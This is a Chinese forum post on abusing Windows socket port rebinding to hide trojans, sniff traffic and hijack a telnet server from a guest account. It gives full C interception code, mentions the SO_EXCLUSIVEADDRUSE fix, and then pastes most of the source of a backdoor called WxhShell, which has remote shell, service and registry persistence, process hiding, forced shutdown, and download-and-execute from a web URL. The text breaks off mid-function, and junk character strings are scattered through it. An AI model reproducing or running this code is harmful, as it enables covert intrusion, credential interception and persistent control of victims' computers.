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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zy$hDy0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wM!QU{Lz  
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  saddr.sin_family = AF_INET; YLobBtXc9  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i7fpl  
b>2u>4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V!},a@>p  
3<JZt.|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7)_0jp~2  
0^[ " &K/  
  这意味着什么?意味着可以进行如下的攻击: RE"}+D  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5>A3;P  
79x^zqLb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S~6<'N&[  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &LL81u6=S  
+p<Y)Z( >6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /;.M$}Z>`  
P9%9/ B:-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]"CA P%  
}JlQQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z>y,}#D?C  
Vx0V6{JX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P"i qP|  
y/i"o-}}~|  
  #include CSsb~/Oxu  
  #include t 8M3VGN  
  #include W8":lpp  
  #include    8o{ SU6pH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f "-<Z_  
  int main() w$B7..r  
  { ;[9cj&7C<  
  WORD wVersionRequested; Y$Uvt_  
  DWORD ret; },f7I^s|  
  WSADATA wsaData; >T!n* -Zn  
  BOOL val; h/_z QR-  
  SOCKADDR_IN saddr; !J2Lp  
  SOCKADDR_IN scaddr; slQKkx \Dn  
  int err; Kw?,A   
  SOCKET s; y"9TS,lmK  
  SOCKET sc; 9Hc#[Ml  
  int caddsize; 9MXauTKI  
  HANDLE mt; C)ChF`Ru':  
  DWORD tid;   w[|!$J?  
  wVersionRequested = MAKEWORD( 2, 2 ); }%XNB1/`  
  err = WSAStartup( wVersionRequested, &wsaData ); 'QW 0K]il  
  if ( err != 0 ) { }y[o[>  
  printf("error!WSAStartup failed!\n"); {O^1WgGc[  
  return -1; 5 !NPqka}.  
  } #bdJ]v.n  
  saddr.sin_family = AF_INET; 5Cz:$-+  
   Y":hb;&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :nXB w%0x  
`b%/.%]$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G&n_vwZ%  
  saddr.sin_port = htons(23); 2qn~A0r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _` D_0v(X  
  { #o^E1cI  
  printf("error!socket failed!\n"); ;hZ(20  
  return -1; ~;`i&s  
  } BM3)`40[]  
  val = TRUE; Jhut>8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XM=`(e o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 94lmsE  
  { UHCx}LGe  
  printf("error!setsockopt failed!\n"); U 9 k}y  
  return -1; ~I^]O \?  
  } 6"=e+V@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; % vP{C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OVivJx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bC@b9opD  
|w>DZG!}1-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YWdlE7 y  
  { (PB|.`_<H  
  ret=GetLastError(); U>I#f  
  printf("error!bind failed!\n"); 9B%"7MVn  
  return -1;  ipyO&v  
  } .#}SK!"B  
  listen(s,2); >5N}ZIN  
  while(1) iL\\JuY  
  { >i ~zG6H  
  caddsize = sizeof(scaddr); /3c1{%B\  
  //接受连接请求 ^#Z(&/5f0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IM@Qe|5  
  if(sc!=INVALID_SOCKET) LvAIAknc  
  { % -SP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~&q e"0  
  if(mt==NULL) U  *I52$  
  { N4}h_mh^'  
  printf("Thread Creat Failed!\n"); woR)E0'qx  
  break; SB F3\  
  } J$P]>By5:  
  } NCsUC  
  CloseHandle(mt); r%a$u%)oD  
  } +X- k)9  
  closesocket(s); ![V<vIy  
  WSACleanup(); 1ii.nt1 u  
  return 0; UHg^F4>4  
  }   Ri3m438  
  DWORD WINAPI ClientThread(LPVOID lpParam) $Z,+aLmb  
  { mee-Qq:}  
  SOCKET ss = (SOCKET)lpParam; UU !I@  
  SOCKET sc; ~/Ry=8   
  unsigned char buf[4096]; +tA rH C]  
  SOCKADDR_IN saddr; ~/.&Z`ls  
  long num; 0FW=8hFp,  
  DWORD val; Fd 91Y  
  DWORD ret; <l6CtK@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cK?t]%S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q{a!D0;4v  
  saddr.sin_family = AF_INET; 5 QT9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8q0 .yhb  
  saddr.sin_port = htons(23); k+i=0 P0mf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mPh;  
  { LnL<WI*Pq  
  printf("error!socket failed!\n"); fU8;CZnx  
  return -1; q'@UZ$2  
  } 9 o18VJR  
  val = 100; !hc7i=V ?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q\/|nZO4  
  { 9QYU J  
  ret = GetLastError(); $ OR>JnV  
  return -1; LRI_s>7  
  } uu/M XID  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B\mdOTLQ  
  { p$=3&qR 6  
  ret = GetLastError(); FStfGN  
  return -1; +Q '|->#  
  } L%<1C \k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i a|F  
  { urN&."c  
  printf("error!socket connect failed!\n"); 2<O hO ^  
  closesocket(sc); ?+!KucTF  
  closesocket(ss); $@NZ*m%?JQ  
  return -1; COT;KC6 n  
  } *?8Q:@:  
  while(1) b 9?w _  
  { 4VooU [Ka(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FD6|>G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x=Ru@nK;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1TVTP2&Rd  
  num = recv(ss,buf,4096,0); BAPi<U'D  
  if(num>0) "-Ns1A8  
  send(sc,buf,num,0); J>'o,"D  
  else if(num==0) H Ow][}M_w  
  break; [Cs2H8=#  
  num = recv(sc,buf,4096,0); }FK6o 6  
  if(num>0) vZKo&jU k  
  send(ss,buf,num,0); Jk~T.p?tF  
  else if(num==0) " pH+YqJ$  
  break; qB&*"gf  
  } $W2g2[+  
  closesocket(ss); }Bb(wP^B.  
  closesocket(sc); g7H;d  
  return 0 ; J^W.TM&q$,  
  } 1idEm*3&(  
,aN/``j=  
S*]IR"YL  
==========================================================  <O*q;&9  
FHD6@{{Gp"  
下边附上一个代码,,WXhSHELL 'Hg(N?1"  
}l/md/C0  
==========================================================  qV}zV\Nz  
_3E7|drIX  
#include "stdafx.h" L.GpQJ8u  
_A,m@BCz  
#include <stdio.h> YF"D;.  
#include <string.h> s4Wk2*7 Mq  
#include <windows.h> ZNUV Bi  
#include <winsock2.h> X=JSqO6V9  
#include <winsvc.h> YcGqT2oLP  
#include <urlmon.h> =thgNMDm"  
tQ)8HVKF  
#pragma comment (lib, "Ws2_32.lib") w7 QIKsI0  
#pragma comment (lib, "urlmon.lib") @NVq .z  
b2 ),J  
#define MAX_USER   100 // 最大客户端连接数 V`%m~#Me  
#define BUF_SOCK   200 // sock buffer 7e40 }n  
#define KEY_BUFF   255 // 输入 buffer ~E!"YkIr  
)rXP2Z  
#define REBOOT     0   // 重启 kxdLJ_  
#define SHUTDOWN   1   // 关机 Ve=0_GR0  
:?S2s Ne2  
#define DEF_PORT   5000 // 监听端口 2"mO"2d%  
qvt~wJf<  
#define REG_LEN     16   // 注册表键长度 #mj+|/0  
#define SVC_LEN     80   // NT服务名长度 :4WwCpgz,  
Y3-P*  
// 从dll定义API x,>=X` T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3!d|K%J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uM\~*@   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x=H*"L=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ja:%j&:  
1{,WY(,c  
// wxhshell配置信息 Mpj3<vj   
struct WSCFG { %xg"e O2x  
  int ws_port;         // 监听端口 [Ea5Bn;~!  
  char ws_passstr[REG_LEN]; // 口令 7' 6m;b~F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8U8"k  
  char ws_regname[REG_LEN]; // 注册表键名 Y, 0O&'>  
  char ws_svcname[REG_LEN]; // 服务名 B@F1!8l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D8h~?phK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r^@*Cir  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3*; {C|]S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u54+oh|,M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $;@s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l"MEX/   
~U^0z|.  
}; # v v k7  
J>+Dv?Ni$  
// default Wxhshell configuration $EtZ5?qS  
struct WSCFG wscfg={DEF_PORT, fkx 9I m4  
    "xuhuanlingzhe", X-ml0 =M[  
    1, Qn<< &i~  
    "Wxhshell", 0h; -Yg  
    "Wxhshell", Ii"cDH9  
            "WxhShell Service", F"bbU/5  
    "Wrsky Windows CmdShell Service", ./6L&?*`~;  
    "Please Input Your Password: ", ")LF;e  
  1, [pOU!9v4  
  "http://www.wrsky.com/wxhshell.exe", 1di?@F2f  
  "Wxhshell.exe" C ]#R7G  
    }; ];< [Cln%  
*mBEF"  
// 消息定义模块 E]g KJVf9[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; beq)Frn^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,+q5e^P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r67 3+  
char *msg_ws_ext="\n\rExit."; plp).Gq  
char *msg_ws_end="\n\rQuit."; }q~A( u  
char *msg_ws_boot="\n\rReboot..."; Z|j8:Ohz  
char *msg_ws_poff="\n\rShutdown..."; #<?j784  
char *msg_ws_down="\n\rSave to "; :Ct} ||9/  
ikY=}  
char *msg_ws_err="\n\rErr!"; 9(H8MUF0{  
char *msg_ws_ok="\n\rOK!"; 2S/^"IM["  
6L*y$e"Qc  
char ExeFile[MAX_PATH]; xR%CS`0R  
int nUser = 0; yP"_j&ef7  
HANDLE handles[MAX_USER]; is`a_{5e=  
int OsIsNt; Cd (Ov5%  
Nl(Aa5:!  
SERVICE_STATUS       serviceStatus; 21;n0E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $ D45X<  
;id  
// 函数声明 a @TAUJ,  
int Install(void); &QE* V  
int Uninstall(void); `HHbQXB  
int DownloadFile(char *sURL, SOCKET wsh); fygy#&}~  
int Boot(int flag); - BocWq\  
void HideProc(void); 0 ">#h  
int GetOsVer(void); TM"i9a? ;  
int Wxhshell(SOCKET wsl); iPs()IN.O  
void TalkWithClient(void *cs); jOe %_R  
int CmdShell(SOCKET sock); d$>1 2>>  
int StartFromService(void); L=VuEF  
int StartWxhshell(LPSTR lpCmdLine); D9Q%*DLd$_  
1W-!f%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y[}BFUy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~fS#)X3 D  
d2 d^XMe!  
// 数据结构和表定义 Xe*  L^8+  
SERVICE_TABLE_ENTRY DispatchTable[] = mWigy` V^~  
{ V# Wd   
{wscfg.ws_svcname, NTServiceMain}, 3nG(z>  
{NULL, NULL} b9:E0/6   
}; N($j;<Q  
qC]D9 A  
// 自我安装 zZA I"\;W  
int Install(void) I]} MK?  
{ ]P 2M  
  char svExeFile[MAX_PATH]; @ VJr0  
  HKEY key; i/WYjo  
  strcpy(svExeFile,ExeFile); D'</eJ  
3<Cd >o.  
// 如果是win9x系统,修改注册表设为自启动 M.t5,NJ  
if(!OsIsNt) { T%ha2X=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O[-wm;_(=*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZL@7Mr!e  
  RegCloseKey(key); )ll}hGS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R (hq Ba/V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M>'-P  
  RegCloseKey(key); } #$Y^ +UN  
  return 0; n2T vPt\  
    } ^%C.S :  
  } )+ S"`  
} ^D6JckW  
else { *WOA",gZ  
!WrUr]0IP  
// 如果是NT以上系统,安装为系统服务 o{:D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,g/UPK8K=  
if (schSCManager!=0) ku\_M  
{ '1bdBx\<.  
  SC_HANDLE schService = CreateService X3q'x}{  
  ( R*QL6t  
  schSCManager, 9}5Q5OZ  
  wscfg.ws_svcname, /Bb\jvk-E  
  wscfg.ws_svcdisp, gBresHrlH  
  SERVICE_ALL_ACCESS, _hXadLt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8)sqj=  
  SERVICE_AUTO_START, *S ;v406  
  SERVICE_ERROR_NORMAL, ~C[R%%Gu  
  svExeFile, qA*QFQ'-  
  NULL, Kw'A%7^e  
  NULL, RMsr7M4<91  
  NULL, TCB<fS~U-  
  NULL, KaO8rwzDN  
  NULL zQ7SiRt7*  
  ); F[Peil+|`  
  if (schService!=0) fv)-o&Q#  
  { P 0,]Ud  
  CloseServiceHandle(schService); 9B<y w.  
  CloseServiceHandle(schSCManager); PN<Y&/fB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o%CBSm]  
  strcat(svExeFile,wscfg.ws_svcname); G*Qk9bk9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vrz<DB^-e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #E*jX-JT  
  RegCloseKey(key); EV]exYWB  
  return 0; >6(nW:I0y  
    } `yc .A%5  
  } 9t;aJFI  
  CloseServiceHandle(schSCManager); rMLCt Gi  
} CK.Z-_M  
} K\o!  
|f`!{=?  
return 1; I_N"mnn@Nr  
} pcL02W|J  
G!%1<SLi.  
// 自我卸载 TN` pai0  
int Uninstall(void) S[*e K Z  
{ /&dC?bY  
  HKEY key; <udp:s3#T  
5>/,25 99  
if(!OsIsNt) { !sfUrUu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b8T'DY;~  
  RegDeleteValue(key,wscfg.ws_regname);  ~)WE  
  RegCloseKey(key); kvryDM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %!x\|@C  
  RegDeleteValue(key,wscfg.ws_regname); DUY#RJf  
  RegCloseKey(key); fz,8 <  
  return 0; 3+Xz5>"a  
  } Q +qN`  
} 2<U5d`  
} ~vG~Z*F  
else { O8n\>pkI  
XKMJsEP sW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `/0X].s#o  
if (schSCManager!=0) 'ApWYt  
{ 0I079fqk<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #2Mz.=#G  
  if (schService!=0) nwW `Q>+#U  
  { 0 R^Xn  
  if(DeleteService(schService)!=0) { 82>zu}  
  CloseServiceHandle(schService); ~pwp B2c  
  CloseServiceHandle(schSCManager); yS lN|8d  
  return 0; =7#)8p[  
  } v-&^G3  
  CloseServiceHandle(schService); c5^i5de  
  } 4B!]%Mw;c  
  CloseServiceHandle(schSCManager);  03_tt7  
} Rl<~:,D  
} ~(G]-__B<  
F|Jo|02  
return 1; A*E$_N  
} 4z?6[Cg<  
%p@A8'b  
// 从指定url下载文件 1+Ja4`o,iS  
int DownloadFile(char *sURL, SOCKET wsh) 0=7C-A1(D  
{ Xg#Dbf4  
  HRESULT hr; &vd9\Pp  
char seps[]= "/"; Ewu 7tq Z  
char *token; d\xh>o  
char *file; Uu8Z2M  
char myURL[MAX_PATH]; bV`Zo(z  
char myFILE[MAX_PATH]; #%B1, .A  
JFl@{6c  
strcpy(myURL,sURL); h dPK eqg7  
  token=strtok(myURL,seps); O*!+D-  
  while(token!=NULL) Q]7r?nEEhW  
  { 4 ILCvM  
    file=token; p}O@ %*p .  
  token=strtok(NULL,seps); u6cWLV t  
  } Cz m`5  
o^7}H{AE  
GetCurrentDirectory(MAX_PATH,myFILE); ^vJ08gu_W  
strcat(myFILE, "\\"); 3v5]L3  
strcat(myFILE, file); &c?-z}=G  
  send(wsh,myFILE,strlen(myFILE),0); \MX>=  
send(wsh,"...",3,0); HrWXPac A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {v<Ig{{V  
  if(hr==S_OK) aW$7:<A{  
return 0; ($[pCdY  
else GS\-  
return 1; &2#<6=}  
Kx$?IxZ  
} (m~MyT#S  
ub./U@ 1  
// 系统电源模块 cM.q^{d`  
int Boot(int flag) K|E}Ni  
{ [Gysx  
  HANDLE hToken; BX2&tQSp  
  TOKEN_PRIVILEGES tkp; ;sCX_`t0E  
03AYW)"}M  
  if(OsIsNt) { yz,ak+wp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1&U'pp|T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rJ KX4,M  
    tkp.PrivilegeCount = 1; =`Nnd@3v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fl^.J<Dz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !Kd/ lDY  
if(flag==REBOOT) { *+lnAxRa?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `L7 cS  
  return 0; l,-smK69  
} enK4`+.7  
else { pA"pt~6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5qR76iH) /  
  return 0; ,5H$Tm,6\S  
} ayHI(4!$j  
  } FL"IPX;S  
  else { dV.)+X7<  
if(flag==REBOOT) { IcI y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #](ML:!  
  return 0; U7bG(?k)  
} el 5F>)  
else { E}.cz\!.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;m@>v?zE  
  return 0; c{s<W}3Ds  
} `p*7MZ9 -  
} mWta B>f  
hFs0qPVY  
return 1; u,4,s[  
} ,TeDJ\k  
_n Oio?  
// win9x进程隐藏模块 !f yE Hk  
void HideProc(void) ~)Ny8Dh  
{ JxNjyw  
 2gb49y~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZLxe$.V_  
  if ( hKernel != NULL ) 5H""_uw  
  { C7eaioW$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IeZ}`$[H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j#<#o:If  
    FreeLibrary(hKernel); DZ(e^vq  
  } X}h{xl   
[&3G `8hY  
return; f+1)Ju~  
} DM~Q+C=Yr  
nNq|v=L  
// 获取操作系统版本 ?)5}v4b  
int GetOsVer(void) Bn}@wO  
{ jFbz:aUF  
  OSVERSIONINFO winfo; Eki7bT@/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W~Eq_J?I  
  GetVersionEx(&winfo); x]Q+M2g?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }us%G&A2u  
  return 1; _dIv{L!  
  else %~ZOQ%c1  
  return 0; S'B7C>i`#N  
} C(7LwV  
Hg*6I%D[So  
// 客户端句柄模块 xGPt5l<M&  
int Wxhshell(SOCKET wsl) V?0|#=_mE  
{ 3QM.X^ANH  
  SOCKET wsh; |P>> ^,iUn  
  struct sockaddr_in client; 3[-L'!pOX3  
  DWORD myID; ?v8B;="#w  
VL7zU->  
  while(nUser<MAX_USER) OfbM]:}<3  
{ u L/*,[}'  
  int nSize=sizeof(client); f*bs{H'5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3 3s.p'  
  if(wsh==INVALID_SOCKET) return 1; 5 S7\m5  
P=(\3ok  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); adHHnH`,  
if(handles[nUser]==0) _+.z2} M  
  closesocket(wsh); .ye5 ;A}  
else @1^iWM j  
  nUser++; 52{jq18&  
  } CYes'lr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D.)R8X  
,hYUxh45  
  return 0; D9 ,~Fc  
} d=Q0 /sI&  
L`yS '  
// 关闭 socket rR^VW^|f  
void CloseIt(SOCKET wsh) q}1AV7$Ai  
{ i *nNu-g  
closesocket(wsh); mVP@c&1w?  
nUser--; s{Ryh.IyI  
ExitThread(0); Y]^[|e8  
} M5[AA/@  
"72 _Sw  
// 客户端请求句柄 ^#vWdOlt  
void TalkWithClient(void *cs) C(xdiQJh  
{ h9 [ov)  
ZYc)_Og  
  SOCKET wsh=(SOCKET)cs; lH T?  
  char pwd[SVC_LEN]; li$(oA2  
  char cmd[KEY_BUFF]; G'#a&6  
char chr[1]; CQ"5bnR  
int i,j; drNfFx 2  
=cX &H  
  while (nUser < MAX_USER) { oju4.1  
P0 hC4Sxf  
if(wscfg.ws_passstr) { GyRU/0'BME  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "qMd%RP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y GvtG U-  
  //ZeroMemory(pwd,KEY_BUFF); xBl}=M?Qu  
      i=0; lJ:B9n3OzT  
  while(i<SVC_LEN) { k 32 Jz.\B  
$:{uF#  
  // 设置超时 J XbG|L  
  fd_set FdRead; ]M-j_("&  
  struct timeval TimeOut; z;2kKQZm  
  FD_ZERO(&FdRead); NIQNzq?a^  
  FD_SET(wsh,&FdRead); bTb|@  
  TimeOut.tv_sec=8; lk)38.  
  TimeOut.tv_usec=0; nH/V2> Lm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1vx:`2 A4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9p9:nx\  
eM*@}3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u01x}Ff~6  
  pwd=chr[0]; tg7%@SI5^-  
  if(chr[0]==0xd || chr[0]==0xa) { doW_v u  
  pwd=0; 5O]ph[7  
  break; at/besW  
  } I[c/) N  
  i++; T%VC$u4F  
    } C8e{9CF  
C Rw.UC\  
  // 如果是非法用户,关闭 socket 6zaO$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZdY:I;)s  
} 0\k2F,:%4  
wS hsu_(i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7??+8T#n*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,_F1g<^@u  
-'*B%yy  
while(1) { N0vr>e`  
6L}$R`s5H  
  ZeroMemory(cmd,KEY_BUFF); \L<Hy)l  
Pz:,q~  
      // 自动支持客户端 telnet标准   LW{7|g  
  j=0; 9V9K3xWn  
  while(j<KEY_BUFF) { Kn?>XXAc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oDrfzm|[Y  
  cmd[j]=chr[0]; !w(J]<  
  if(chr[0]==0xa || chr[0]==0xd) { gC> A *~J;  
  cmd[j]=0; Cz#0Gh>1  
  break; xKv\z1ra  
  } ,KdD owc  
  j++; ;vy"i  
    } qm{(.b^  
^"(C Zvq  
  // 下载文件 +>M^p2l*&  
  if(strstr(cmd,"http://")) { z)#I"$!d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vof[yL `  
  if(DownloadFile(cmd,wsh)) h'|{@X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ed$5.D  
  else p$`71w)'[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^yb3L1y  
  } Rr{mD#+  
  else { N>/!e787OU  
;xS@-</:  
    switch(cmd[0]) { P\pHos  
  1~zzQ:jAZ  
  // 帮助 K7 -AVMY  
  case '?': { 64fa0j~<*M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6c$ so  
    break; O&RW[ml*3  
  } qRZv[T%*Q  
  // 安装 +vIpt{733  
  case 'i': { wqkD  
    if(Install()) %iPWg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nQy.?*X  
    else !KKkw4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =\"88e;b2  
    break; V|gW%Z,j  
    } Nj rF":'Y  
  // 卸载 @n"7L2wY  
  case 'r': { ? %XTD39  
    if(Uninstall()) .!e):&(8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*g(_EZsS  
    else a\pOgIp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'y[74?1  
    break; ($pNOG H  
    } ;|}N\[fk%]  
  // 显示 wxhshell 所在路径 K!Te*?b  
  case 'p': { _~/F-  
    char svExeFile[MAX_PATH]; SR!EQ<  
    strcpy(svExeFile,"\n\r"); _2xNio&  
      strcat(svExeFile,ExeFile); -K eoq  
        send(wsh,svExeFile,strlen(svExeFile),0); z6)b XL[f  
    break; *:gx1wd  
    } 1LYz X;H1  
  // 重启 I$7|?8  
  case 'b': { b"Hc==`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "\cDSiD  
    if(Boot(REBOOT)) hjf!FY*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  DA]<30 w  
    else { (VV5SvdE  
    closesocket(wsh); 6 <XQ'tM]N  
    ExitThread(0); >Q3_-yY+  
    } : fMQ,S0  
    break; DB%}@IW"  
    } "jV :L  
  // 关机 <+Eu.K&  
  case 'd': { C@d*t?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DcYL8u  
    if(Boot(SHUTDOWN)) -:cBVu-m  
